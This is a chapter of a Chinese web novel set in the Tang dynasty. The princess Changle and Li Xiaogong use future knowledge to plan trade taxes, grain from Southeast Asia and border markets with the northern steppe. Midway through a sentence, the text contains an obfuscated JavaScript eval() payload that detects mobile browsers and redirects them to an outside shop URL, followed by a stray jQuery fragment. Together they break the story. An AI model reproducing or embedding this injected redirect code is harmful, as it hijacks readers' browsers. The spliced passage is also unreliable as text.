82. 大唐后世谈(十四) 市贸
    “……转移支付?”

    “从天书泄漏的消息看,这似乎是朝廷向受益的巨商收取重税,设法补贴被贸易隔绝在外的州郡。”李孝恭答道:“以而今论,能从西域贸易中受益的是关中、陇右豪商,从海贸中受益的则是广州乃至岭南的豪商。所谓损有余而补不足,这些商贾获利既多,自然可以抽一些利税。”

    李丽质抬了抬眉毛。她算是隐约猜出来,为什么政事堂要不辞辛苦派河间郡王来旁敲侧击,做如此含蓄委婉的建议了。在数年的往来带货之后,某种意义上来说,长乐公主才是西域商道上最大的豪商,一切陇右商人马首是瞻的盟主,决定了由陇山至葱岭上层社会一切风尚的流行之王。朝廷要想向豪商征税,自然是由她亲自出面,才能一呼百应毫无阻碍。

    “贸然向商人征税,恐怕会有不小的波澜吧?”长乐公主道:“陇右的商人可没有什么缴税的习惯。”

    不错,陇右及西域多年被鲜卑柔然突厥这些蛮子染指,在思维上也蛮子化了——显然,举族上下大字不识一个的游牧部族是不太可能有收税这样高档的政治操作的,他们除了定期勒索保护费以外,平日也就是靠着伪装马贼打劫抢掠混一混日子。行商们被这种模式折腾得久了,当然不会有什么纳税意识——除非唐军派人去抢。

    “这不要紧。”李孝恭平静道:“相公们效法昔日管仲的旧智,决定在大军屯田处开设客栈集市,以高价售卖穿行戈壁必须的水米衣物,并为往来的客商提供卫队——只要豪商舍得出钱,大唐的通关文牒可以一路将他护送到波斯与天竺,绝不会有一点的风险。此外,朝廷会在边境设置关卡,凡是缴纳费用并检验合格者,可以打上‘大唐制造’的印记,标明货物来历。如果再多出一笔,还可以请出少府的长官,为他亲笔题写大唐皇室的证明。”

    李丽质:……

    她一听就知道,这必定是自己亲舅舅的手笔!

    政事堂诸位宰相固然政务纯熟,但毕竟是光明正大以经义立身的士大夫,再如何豁达开通深明庶务,也对此商贾间买低卖高投机取利的手腕不甚了了。唯有国公长孙无忌家学渊远,绍述先父长孙晟昔日长袖善舞折冲樽俎于列国的光辉功业,才能想出这样老辣的谋划来!

    什么叫“效法管仲故智”?——既然商

    人不愿意缴税,那就化税为费嘛!税可以逃,戈壁茫茫数千里,沿途的水费粮费保护费逃一个试试?

    不过,这“大唐制造”、“皇室证明”之类,那就连长孙无忌也只能瞠目其后,必定是来自天书的无上智慧。

    果然,李孝恭又徐徐道:“政事堂也已经拟定敕令,警告西域及漠北诸多小国部落,未经朝廷的许可,绝不许张贴大唐制造的标签,否则以悖逆论处。”

    长乐公主缓缓眨眼。说实话,政事堂此举其实殊无必要。以数年商贸的经验看,华夏在手工业的优势堪称所向无敌横绝当世,与葱岭以西所有的国家都不在一个层次,属于仿造也仿造不明白的黑科技。只要往来的行商不是瞎的,一上手能轻易分辨出大唐丝绸茶叶瓷器铁器的无上妙处。

    “以此解决利税,倒也并无不妥。”公主道:“那么粮食呢?”

    贵金属持续流入导致粮食分配不均,最终被贸易体系所抛弃的农民奋起反抗,算是带明亡国的重要诱因。受眼下技术限制,大唐的贸易未必能强到后世那匪夷所思的地步,但大唐耕作的水准也绝不能与千年以后相提并论。一旦规模扩大,粮食恐怕很难稳定。

    “粮食是转移支付的第二步。”李孝恭道:“以天书记载,西南诸夷的物产极为丰富,如林邑、扶南等国,湿热多雨,土地肥沃,稻谷一年可以三熟,水果、渔获更是不计其数。只不过西南夷人手腕太过粗疏,所以才不甚闻名而已……“

    说到此处,李孝恭都不由停了一停。事实上,天书上的说法可绝没有如此温和,而是直接了当的吐槽了西南诸夷(所谓“东南亚”)的不作为。以它的说法,西南诸国在农耕上的潜力甚至远远超过关中与巴蜀,只不过各色资源太多太丰富,即便躺倒摆烂也不愁吃穿;于是安逸之下不思进取,文明的进展相当迟缓,各种意义上的暴殄天物。

    如此暴殄天物抛掷挥洒,自然令政事堂诸公大为痛惜。只不过数年来忙于经略西域,腾不出手料理难面而已。如今贸易牵涉到粮食的根本,那自然不能容许西南夷再这么懒懒散散的浪费下去,所以……

    “政事堂的意思,是可以将海贸的利润抽一部分出来,为日后与西南诸夷的往来做准备。”李孝恭又道:“西南面运力短少,能与大唐交换的也唯有象牙沉香一类奇

    珍而已。只要船只上有所突破,运载粮食并不为难,朝廷绝不能放弃这个机会。”

    ……当然,大唐是仁慈的,大唐是宽厚的,至少不会如天汉世宗孝武皇帝一般全面出击。所以政事堂拟定的方案,看上去还是比较讲究的——他们打算将流放岭南的罪犯与无赖全都组织起来,送到林邑扶南等地开垦田地筛选良种,实验天书中所传授的种种技艺,教授当地土著基本的农耕常识。等到贸易路线成熟之后,再以铁器丝绸等交易多余的粮食渔获水果,由海贸注入到广州潮州,乃至于整个沿海各通商口岸之中。

    这是一举三得的妙招,除补充粮米维系市场以外,还能处置岭南那数代积累下来令大唐头疼欲裂的庞大罪犯团体。无赖流氓能在彼处扎根驻足当然是莫大的运气,设若又所阻碍,那么庞大的大唐舰队便是他们永远的坚强后盾,所谓“虽远必诛之”,“日月所照,皆为汉土”——咳咳。

    李孝恭清一清嗓子,掩盖住了某些比较激烈的思想。

    长乐公主显然也领悟出了政事堂的用意,她抬了抬眉毛,抽出几案上的蓝田玉笔,饱蘸浓墨,在写有“转移支付”的丝绸上打了个潇洒淋漓的勾。

    这是至为郑重的表态,表示居中掌握西域商道的长乐公主已经完全赞同政事堂的谋划,并愿意翼赞助力,贡献自己作为豪商魁首的绝对威望。

    但墨色淋漓未干,公主却径直抛下了墨笔。

    “还不够。”她道。

    李孝恭神色肃然,于软垫上微微欠身:“请说。”

    “政事堂顾虑得很周密,很详细,我鲁钝愚昧,不敢措一辞。”公主音色朗然,语气中却是谦和的敬意,极尽晚辈的礼数:“但纵使愚钝,我仍有不解:而今西域商道已开,陇右、关中大获其利;南面贸易万事皆备,巴蜀、广州、潮州乃至东南沿海,都将受益;甚至连稍稍偏北的山东、河东诸地,也能从东瀛处沾润不少——东瀛的白银要西入中原,所过之处恐怕都能沾到好处。”

    “可是伯父,天下都能分到好处,那么河北呢?河北诸州,难道是忽略的么?若天书所言无误,后日安史之乱,正是自河北兴起!”

    ——不错,安史之乱的脉络错综复杂,但贞观名臣们抽丝剥茧而条分缕析,一言便看出了关窍:安禄山史思明所赖以作

    乱的叛兵,正是自河北处募集!

    换言之,这几乎是以河北征伐关中的叛乱!

    殷鉴惨烈如此,不由得人不心惊胆寒。也无怪乎公主连声询问,口气竟稍转严厉,近乎失礼了:

    怎么能无视河北诸地呢?难道忘了后日的教训了么?!

    “如此,就要涉及第二个策略了。”李孝恭神情平静,自袖中抽出第二张绢帛,再次展开:

    【漠北通商】

    “这是朱明的故智。”李孝恭道:“自明嘉靖以后,苦于漠北蒙古连年犯边,遂于九边开榷场、行封贡,以铁锅换蒙古的马匹,维持了很长的时间。以政事堂的看法,现在突厥虽败,北面部族却依旧要安抚,让河北诸州主持此事,也算是个贴补。”

    公主微微瞪大了眼。大概是生平见惯了自己亲爹挥斥方遒的种种壮举,委实有点难以理解堂堂中原王朝是如何被漠北逼迫到开边的地步……不过前例如此,也难怪宰相们会谨慎保密,甚至特意派出亲近宗室悄悄通传消息了。否则难免有羞辱大唐的嫌疑——圣天子临朝数年,朝廷都沦落到乞和封贡的地步了,是吧?

    即使为中原天下共主的身份计,这也是可以做不可以说的大事。

    不过……“漠北有那个交易本钱么?”公主质疑道。

    是的,别看漠北草原茫茫辽阔无疆,真正适合放牧牛羊的也只有寥寥可数的几个水草丰美的牧场。在所谓“生产力”的局限下,游牧部族虽然日夜与马匹为伍,但失去可供耕作的河套及漠南以后,在饲育牛马的经验上还真未必比得过草料充裕广览人才的唐军马场。以而今论之,大唐于陇右繁殖的军马,耐力体力便大大超越突厥。大概也只有往来运送货物的商贾,或是较为富裕的农家,需要买些驽马做苦力而已。这种贸易的范围,恐怕不会太广。

    “仅以茶马互市,当然不能长久。”李孝恭缓缓道:“但以天书所言,漠北也有极大的银矿,超出于中原现有一切银矿的巨大储藏。在东瀛的白银完全供给上之前,它足以解当下往来通商的燃眉之急。不过,漠北诸部并没有开采白银的本事,恐怕还要大唐驻军指

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14188344|150721||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    导,雇佣当地的土著,挖掘矿产。”

    长乐公主的眸光微微闪动。自击败突厥以来,屯兵草原的的计划便早已提上日程。只是再三定议,却难以

    决断:漠北茫茫戈壁水草难寻,驻扎的军队难于就地补给,一旦与本地的部族起了冲突,难免有强龙不压地头蛇的隐患。

    但有了白银为依仗,一切便大大不同了!所谓以利诱之而以威镇之,银矿的利润足以令偏僻鄙陋见识短浅的部族目眩神迷不能自持,只要奉命镇守的将领能巧为把握从中操驭,轻而易举便能拉拢出死心塌地忠诚不渝的亲唐派出来。

    ——更关键的是,收买这些亲唐派还不用朝廷自己掏钱!

    我大唐布狗天下,民不加赋而蛮夷欣然望化,这实在是三代才能有的德行。即使将来史书工笔,想来也是无愧于后世的。

    不过,把铁锅卖给漠北部族还是太冒险了……自从魏国公长孙无忌于火药的制备中领悟出基本的氧化还原原理,并有太子殿下于算学上的鼎力襄助之后,少府冶铁的技术便突飞猛进脱胎换骨,堪称神仙开示点石为金,不但一举弥补了自北朝战乱以来丧失的各类技术,还推陈出新更攀高峰,基本解决了冶铁的品质问题。而今技术逐步向民间扩散,引发了关中使用铁器的小小风潮。这些铁器质量极佳,一旦流入草原,说不好会有被铸为武器的可能。

    公主敲了敲长几。

    “以我个人的见解,还是以贩卖酒水为主的好。”她道:“少府已经掌握了天书中所谓‘蒸馏’的技术,可以大大的提纯酒浆,得到极烈的美酒。伯父可以上书陛下,请求将这造烈酒的法门赐予河北诸州,允诺当地的百姓按定量酿造酒水,出关售卖。”

    李孝恭欣然点头:“我出京之前,长孙国公也向我漏过风声。漠北部族最为嗜酒,所食所饮又至为燥热,必得以大黄、茶叶疗愈。只要把住这几样东西,与大漠的往来便无足忧虑了!”

    不错,盐税铁税酒税茶税告缗等等算是自桑弘羊以来历朝历代(或许除带明以外)敛财的看家本领,只要财政尚未完全崩盘,靠这几板斧都能苟延残喘再续个几十年的国祚。而今对外贸易方兴未艾,动用这样的手段深度介入,想来也已经够了……吧?

    公主敲击长几的节奏缓慢了下来。

    在与西域打了几年交道以后,李丽质已经不是往日纸上谈兵的愚蠢新手了。往来商道中眼见着金山银山滚滚而来,她渐渐也领悟了天书中所说的“历史浪潮”、“顺之则昌,逆

    之则亡,这种所谓以指数增长的商业力量,真的是依靠往日的经验,便可以一一从容应对下来的么?

    想来……想来朝廷的重臣宰相们,也有这样说不出的忧虑吧?

    再以天书的话讲,人可以为未来做很多的准备,但最终还是要一无所知的走入这时代的浪潮中,面对莫测的命运。

    而现在……一旦她作为西域商贾的魁首点下这个头,浩浩汤汤时代潮流便要奔涌,再不可止步了吧?在此动荡未来之前,实在不能不令人生出惕然的忧惧啊。

    公主的敲击渐渐停顿,如此沉吟长久,才终于下定了决心,再次拈起了笔,在“漠北通商四个字上打了一勾。

    再怎么忧惧,也不能裹足不前吧?

    眼见侄女儿同意了最后也是最大的一条政令,李孝恭神色舒展,终于笑逐颜开。他此行肩负重任,总要克收全功才好;否则陛下纵无责备,也难以见政事堂中房、魏、王等宰相那几张拉长的驴脸。

    喜悦之外,他仍然念念不忘临行前被托付的小事,于是笑着开口:

    “是了,太子殿下还让我转告公主,说闲时多暇,还是要看一看他寄来的算学与商贸的教材才好,指不定日后会有大用呢……

    长乐公主终于皱眉了:

    “什么?

    ·

    贞观十年三月,于诸宰相商议再四之后,中原圣天子陛下终于以明旨晓谕天下,改革官制,于政事堂下设立市贸司,总揽西域及南洋诸国一切贸易事务,乃稍分鸿胪寺之权。但此机构并无前例,初设时职权不明,朝野未免还有狐疑观望之心,群疑满腹莫衷一是,都不知至尊是何等用意。

    而这所有的疑惑,终于在两个月后豁然开解了——贞观十年五月,应太子再三的祈请,皇帝同意以嫡长女镇国长乐公主为特进,入市贸司辅政,协助宰相及户部尚书料理一切贸易事务。

    ——据说,接到此旨意时,长乐公主欣喜逾越常态,竟尔匍匐在地呆愣不语,足足一刻钟都没有开口谢恩。